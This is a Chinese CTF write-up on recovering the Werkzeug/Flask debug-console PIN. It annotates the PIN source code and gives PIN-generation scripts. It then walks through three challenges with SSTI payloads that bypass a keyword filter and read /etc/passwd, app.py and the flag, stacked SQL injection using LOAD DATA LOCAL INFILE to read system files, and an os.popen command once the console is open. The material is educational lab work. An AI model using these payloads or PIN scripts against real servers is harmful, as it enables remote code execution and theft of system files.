Flask算PIN值
flask应用在开启debug下,在url输出console可以进入控制台调试模式
所以我们如果要进入console模式,就必须拿到PIN码
源码剖析
环境准备
可以github上找源码
https://github.com/pallets/werkzeug/blob/1.0.x/src/werkzeug/debug/__init__.py
https://github.com/pallets/werkzeug/blob/2.1.x/src/werkzeug/debug/__init__.py
也可以直接Ctrl+B跟进源码,也可以去目录里面找,下面给出debug计算PIN的源码路径
Python目录\Lib\site-packages\werkzeug\debug
源码分析
# 前面导入库部分省略
# PIN有效时间,可以看到这里默认是一周时间
PIN_TIME = 60 * 60 * 24 * 7
def hash_pin(pin: str) -> str:
return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]
_machine_id: t.Optional[t.Union[str, bytes]] = None
# 获取机器id
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
def _generate() -> t.Optional[t.Union[str, bytes]]:
linux = b""
# !!!!!!!!
# 获取machine-id或/proc/sys/kernel/random/boot_id
# machine-id其实是机器绑定的一种id
# boot-id是操作系统的引导id
# docker容器里面可能没有machine-id
# 获取到其中一个值之后就break了,所以machine-id的优先级要高一些
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue
if value:
# 这里进行的是字符串拼接
linux += value
break
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
# 获取docker的id
# 例如:11:perf_event:/docker/2f27f61d1db036c6ac46a9c6a8f10348ad2c43abfa97ffd979fbb1629adfa4c8
# 则只截取2f27f61d1db036c6ac46a9c6a8f10348ad2c43abfa97ffd979fbb1629adfa4c8拼接到后面
except OSError:
pass
if linux:
return linux
# OS系统的
{}
# 下面是windows的获取方法,由于使用得不多,可以先不管
if sys.platform == "win32":
{}
# 最终获取machine-id
_machine_id = _generate()
return _machine_id
# 总结一下,这个machine_id靠三个文件里面的内容拼接而成
class _ConsoleFrame:
def __init__(self, namespace: t.Dict[str, t.Any]):
self.console = Console(namespace)
self.id = 0
def get_pin_and_cookie_name(
app: "WSGIApplication",
) -> t.Union[t.Tuple[str, str], t.Tuple[None, None]]:
pin = os.environ.get("WERKZEUG_DEBUG_PIN")
# 获取环境变量WERKZEUG_DEBUG_PIN并赋值给pin
rv = None
num = None
# Pin was explicitly disabled
if pin == "off":
return None, None
# Pin was provided explicitly
if pin is not None and pin.replace("-", "").isdigit():
# If there are separators in the pin, return it directly
if "-" in pin:
rv = pin
else:
num = pin
# 使用getattr(app, "__module__", t.cast(object, app).__class__.__module__)获取modname,其默认值为flask.app
modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
username: t.Optional[str]
try:
# 获取username的值通过getpass.getuser()
username = getpass.getuser()
except (ImportError, KeyError):
username = None
mod = sys.modules.get(modname)
# 此信息的存在只是为了使cookie在
# 计算机,而不是作为一个安全功能。
probably_public_bits = [
username,
modname,
getattr(app, "__name__", type(app).__name__),
getattr(mod, "__file__", None),
] # 这里又多获取了两个值,appname和moddir
# getattr(app, "__name__", type(app).__name__):appname,默认为Flask
# getattr(mod, "__file__", None):moddir,可以根据报错路劲获取,
# 这个信息是为了让攻击者更难
# 猜猜cookie的名字。它们不太可能被控制在任何地方
# 在未经身份验证的调试页面中。
private_bits = [str(uuid.getnode()), get_machine_id()]
# 获取uuid和machine-id,通过uuid.getnode()获得
h = hashlib.sha1()
# 使用sha1算法,这是python高版本和低版本算pin的主要区别
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# 如果我们需要做一个大头针,我们就多放点盐,这样就不会
# 以相同的值结束并生成9位数字
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
# 这就是主要的pin算法,脚本可以直接照抄这部分代码
return rv, cookie_name
以上就是PIN源码的简单分析,可以看到flask的算pin是直接调用的外部的算法,而不是flask自己写的,所以跟flask的版本无关,跟werkzeug\debug
里面的代码有关,而不同版本的werkzeug库的PIN计算方式不同,一般来说python3.8以前用的都是md5,但是目前的flask已经更新了,所以现在就算是python3.6也是用的sha1算法,也就是说PIN的算法跟python版本没有直接关系,但是一些老题目可能会使用md5算法
PIN生成条件
probably_public_bits:
username modname getattr(app, 'name', app.class.name) getattr(mod, 'file', None)
username:通过/etc/passwd这个文件去猜**
**modname:getattr(app, "module", t.cast(object, app).class.module)获取,不同版本的获取方式不同,但默认值都是flask.appappname:通过getattr(app, 'name', app.class.name)获取,默认值为Flask
moddir:flask所在的路径,通过getattr(mod, 'file', None)获得,题目中一般通过查看debug报错信息获得
private_bits:
uuid:
网卡的mac地址的十进制,可以通过代码uuid.getnode()获得,也可以通过读取/sys/class/net/eth0/address获得,一般获取的是一串十六进制数,将其中的横杠去掉然后转十进制就行。
例:00:16:3e:03:8f:39 => 95529701177
machine-id:
machine-id是通过三个文件里面的内容经过处理后拼接起来
对于非docker机,每台机器都有它唯一的machine-id,一般放在/etc/machine-id和/proc/sys/kernel/random/boot_id
对于docker机,就要查看/proc/self/cgroup文件的内容
非docker机,三个文件都需要读取
docker机只读取除/etc/machine-id以外的两个文件
PIN生成脚本
低版本(werkzeug1.0.x)
import hashlib
from itertools import chain
probably_public_bits = [
'root' # username,通过/etc/passwd
'flask.app', # modname,默认值
'Flask', # 默认值
'/usr/local/lib/python3.7/site-packages/flask/app.py' # moddir,通过报错获得
]
private_bits = [
'25214234362297', # mac十进制值 /sys/class/net/ens0/address
'0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa' # /etc/machine-id
]
# 下面为源码里面抄的,不需要修改
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
高版本(werkzeug>=2.0.x)
import hashlib
from itertools import chain
probably_public_bits = [
'root' # /etc/passwd
'flask.app', # 默认值
'Flask', # 默认值
'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]
private_bits = [
'2485377568585', # /sys/class/net/eth0/address 十进制
'653dc458-4634-42b1-9a7a-b22a082e1fce898ba65fb61b89725c91a48c418b81bf98bd269b6f97002c3d8f69da8594d2d2'
# 字符串合并:1./etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id,有boot-id那就拼接boot-id 2. /proc/self/cgroup
]
# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
例题
ctfshow web801
提示可以下载文件,然后开启了debug模式,然后那就好办了
通过报错获得了moddir以及python版本3.8
/usr/local/lib/python3.8/site-packages/flask/app.py
username:
有shell的就只有root了
MAC地址:
mac: 2485377568585
machine-id:
因为是docker环境,所以不需要看/etc/machine-id
所以得到最终的machine-id为
653dc458-4634-42b1-9a7a-b22a082e1fce898ba65fb61b89725c91a48c418b81bf98bd269b6f97002c3d8f69da8594d2d2
因为中途环境过期了,所以重新算了一次
获得PIN
然后代码执行就行了
[GYCTF2020]FlaskApp
打开题目提供了三个功能,加密;机密;提示(摆烂图)
因为是flask,那就猜测是否有ssti注入,已经debug模式是否开启
很明显有,接着就是看是否存在ssti,让我能读取到文件,或者执行代码,让我们能够算出PIN值
随便解码一个非法字符,拿到报错信息
可以看到使用的是python3.7,获得了moddir:/usr/local/lib/python3.7/site-packages/flask/app.py
还可以拿到部分源码
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)
可以看到这里是直接将text参数进行base64解密之后就渲染出来,也就是说我们能在渲染之前就能控制渲染模板,很显然这就是一个常见的ssti注入,但是这里有一个waf,简单的测试了一下,过滤很多关键词,这里可以直接通过字符串拼接绕过然后拿到flag,但是这里既然开启了debug模式,那肯定就是想要我们计算出PIN值
解法1(ssti bypass):
这里直接借鉴网上的payload然后修改一下
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
获取源码payload
{% for i in ().__class__.__base__.__subclasses__() %}
{% if 'warning' in i.__name__ %}
{{ i.__init__.__globals__['__builtins__'].open('app.py','r').read() }}
{% endif %}
{% endfor %}
{% for i in ().__class__.__base__.__subclasses__() %}{% if 'warning' in i.__name__ %}{{ i.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}
base64:
eyUgZm9yIGkgaW4gKCkuX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX17JSBpZiAnd2FybmluZycgaW4gaS5fX25hbWVfXyAlfXt7IGkuX19pbml0X18uX19nbG9iYWxzX19bJ19fYnVpbHRpbnNfXyddLm9wZW4oJ2FwcC5weScsJ3InKS5yZWFkKCkgfX17JSBlbmRpZiAlfXslIGVuZGZvciAlfQ==
app.py:
from flask import Flask,render_template_string from flask import render_template,request,flash,redirect,url_for from flask_wtf import FlaskForm from wtforms import StringField, SubmitField from wtforms.validators import DataRequired from flask_bootstrap import Bootstrap import base64 app = Flask(__name__) app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y' bootstrap = Bootstrap(app) class NameForm(FlaskForm): text = StringField('BASE64加密',validators= [DataRequired()]) submit = SubmitField('提交') class NameForm1(FlaskForm): text = StringField('BASE64解密',validators= [DataRequired()]) submit = SubmitField('提交') def waf(str): black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"] for x in black_list : if x in str.lower() : return 1 @app.route('/hint',methods=['GET']) def hint(): txt = "失败乃成功之母!!" return render_template("hint.html",txt = txt) @app.route('/',methods=['POST','GET']) def encode(): if request.values.get('text') : text = request.values.get("text") text_decode = base64.b64encode(text.encode()) tmp = "结果 :{0}".format(str(text_decode.decode())) res = render_template_string(tmp) flash(tmp) return redirect(url_for('encode')) else : text = "" form = NameForm(text) return render_template("index.html",form = form ,method = "加密" ,img = "flask.png") @app.route('/decode',methods=['POST','GET']) def decode(): if request.values.get('text') : text = request.values.get("text") text_decode = base64.b64decode(text.encode()) tmp = "结果 : {0}".format(text_decode.decode()) if waf(tmp) : flash("no no no !!") return redirect(url_for('decode')) res = render_template_string(tmp) flash( res ) return redirect(url_for('decode')) else : text = "" form = NameForm1(text) return render_template("index.html",form = form, method = "解密" , img = "flask1.png") @app.route('/<name>',methods=['GET']) def not_found(name): return render_template("404.html",name = name) if __name__ == '__main__': app.run(host="0.0.0.0", port=5000, debug=True)
def waf(str):
black_list = [ "flag", "os", "system", "popen", "import", "eval", "chr", "request", "subprocess", "commands", "socket", "hex", "base64", "*", "?"
]
for x in black_list:
if x in str.lower():
return 1
@app.route( '/hint', methods = [ 'GET'])
payload:
{% for i in ().__class__.__base__.__subclasses__() %}{% if 'warning' in i.__name__ %}{{ i.__init__.__globals__['__builtins__']['__impo'+'rt__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
base64:
eyUgZm9yIGkgaW4gKCkuX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX17JSBpZiAnd2FybmluZycgaW4gaS5fX25hbWVfXyAlfXt7IGkuX19pbml0X18uX19nbG9iYWxzX19bJ19fYnVpbHRpbnNfXyddWydfX2ltcG8nKydydF9fJ10oJ28nKydzJykubGlzdGRpcignLycpfX17JSBlbmRpZiAlfXslIGVuZGZvciAlfQ==
['bin', 'boot', 'dev', 'etc', 'home', 'lib', 'lib64', 'media', 'mnt', 'opt', 'proc', 'root', 'run', 'sbin', 'srv', 'sys', 'tmp', 'usr', 'var', 'this_is_the_flag.txt', '.dockerenv', 'app']
读取flag:
{% for i in ().__class__.__base__.__subclasses__() %}{% if 'warning' in i.__name__ %}{{ i.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read() }}{% endif %}{% endfor %}
base64:
eyUgZm9yIGkgaW4gKCkuX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX17JSBpZiAnd2FybmluZycgaW4gaS5fX25hbWVfXyAlfXt7IGkuX19pbml0X18uX19nbG9iYWxzX19bJ19fYnVpbHRpbnNfXyddLm9wZW4oJy90aGlzX2lzX3RoZV9mbCcrJ2FnLnR4dCcsJ3InKS5yZWFkKCkgfX17JSBlbmRpZiAlfXslIGVuZGZvciAlfQ==
解法2(算PIN)
usernmae: flaskweb
{% for i in ().__class__.__base__.__subclasses__() %}{% if 'warning' in i.__name__ %}{{ i.__init__.__globals__['__builtins__'].open('/etc/passwd','r').read() }}{% endif %}{% endfor %}
moddir: /usr/local/lib/python3.7/site-packages/flask/app.py
mac: b2:dd:5f:9c:78:1e 196663861606430
{% for i in ().__class__.__base__.__subclasses__() %}{% if 'warning' in i.__name__ %}{{ i.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }}{% endif %}{% endfor %}
machine-id:
XOOK@SQ.png)
这里buu上的环境有问题,读出来的docker-id有问题,但是把理论搞懂就行了
摆烂了,我甚至在python3.6读到sha1算PIN,所以应该不是看python版本,准确来说是看werkzeug版本,这个跟python版本没有实质性的关联
总之我把所有可能的情况都试过一遍,还是不对,后面我听他们说这道题的环境好像有点问题,之前拿到dockre-id是非常常规的,然后就摆烂了
后面又审了一下,觉得machine-id应该只由boot-id生成,因为docker-id读取那里读不到
因为读取第一行斜杠后面的内容,但是后面试了一下发现还是不行,这我是真的没办法了
[starCTF]oh-my-notepro
复现环境:https://github.com/sixstars/starctf2022/tree/main/web-oh-my-notepro/docker
打开题目发现有个记笔记功能,且登陆可以用任意账号密码登陆
然后随便写了一个不存在的id,发现debug报错,且是flask,猜测是算PIN
def login_required(f):
@wraps(f)
def decorated_function(*args, **kws):
if not session.get("username"):
return redirect(url_for('login'))
return f(*args, **kws)
return decorated_function
def get_random_id():
alphabet = list(string.ascii_lowercase + string.digits)
result = db.session.execute(sql, params={"multi":True})
db.session.commit()
result = result.fetchone()
data = {
'title': result[4],
'text': result[3],
}
return render_template('note.html', data=data)
接下来就是想办法读文件,然后算PIN
猜测这个可以sql注入
SQL注入
发现报错,存在sql注入
爆出5列,很显然flag不在数据库里面,需要在使用sql读取文件算PIN
因为版本是5.6.51,高版本的mysql默认是没有权限使用load_file命令的,但是可以使用load data local infile into table
,导入文件数据到表中,然后再大一这个表中的数据,所以给出payload如下
create table table_name(data varchar(1000));load data local infile "文件目录" into table ctf.table_name;
SELECT group_concat(data) from ctf.table_name;
这里其实是可以使用堆叠注入的,通过爆出的源码得知
这是一个flask的mysql拓展,他指定了一个参数{"multi":True}
,它的含义就是允许执行多行命令
所以给出堆叠注入payload如下
创建表
';create table pysnow(data varchar(1000));%23
导入数据到表
';load data local infile "/etc/passwd" into table ctf.pysnow;%23
读取表
'union select 1,2,3,4,group_concat(data) from ctf.pysnow%23
执行成功
计算PIN
根据前面的说法,现在就是读各种文件了
/etc/passwd: ctf
拿到username为ctf
/sys/class/net/eth0/address: 2485723369475
/proc/self/cgroup: 6002acf689b0b8562763a1e738959d4ce549b19c2431bd61b33529710846491e
/proc/sys/kernel/random/boot-id: 23d4f554-ae37-414f-b759-447c2b298e7f
/etc/machine-id: 1cc402dd0e11d5ae18db04a6de87223d
拿到PIN:912-569-282
拿到python的shell了,直接os.popen('ls /').read()
执行命令就行
总结
flask算PIN首先看它是什么版本,一般目前遇到的都是新版本的算法,也就是使用sha1,然后就是想办法读取文件,先读取/etc/machine-id里面的内容,没有就读boot-id,/etc/machine-id是处于优先级的,然后就是看/proc/self/cgroup第一行从右往左数的第一个左斜杠后面的字符串然后拼接到前面的boot-id或machine-id后面;
然后就是看username,直接通过/etc/passwd查看,看那些有shell的用户,然后就是通过报错信息拿到flask模块的地址已经通过/sys/class/net/eth0/address查看mac地址,可以用控制台直接转10进制,然后用脚本一把梭就行了,这个脚本其实也非常好些,直接找到对应的源码,然后一抄就行了,总之这个姿势理论上是很好掌握的,建议自己审一遍这个debug生成PIN的源码
1 条评论
为什么我的/proc/self/cgroup文件里面的东西这么我的两个虚拟机中的文件都无法使用
13:blkio:/user.slice
12:rdma:/
11:cpu,cpuacct:/user.slice
10:cpuset:/
9:hugetlb:/
8:freezer:/
7:memory:/user.slice/user-1000.slice/session-3.scope
6:misc:/
5:pids:/user.slice/user-1000.slice/session-3.scope
4:net_cls,net_prio:/
3:perf_event:/
2:devices:/user.slice
1:name=systemd:/user.slice/user-1000.slice/session-3.scope
0::/user.slice/user-1000.slice/session-3.scope
这是我ubuntu中的文件,是因为版本问题吗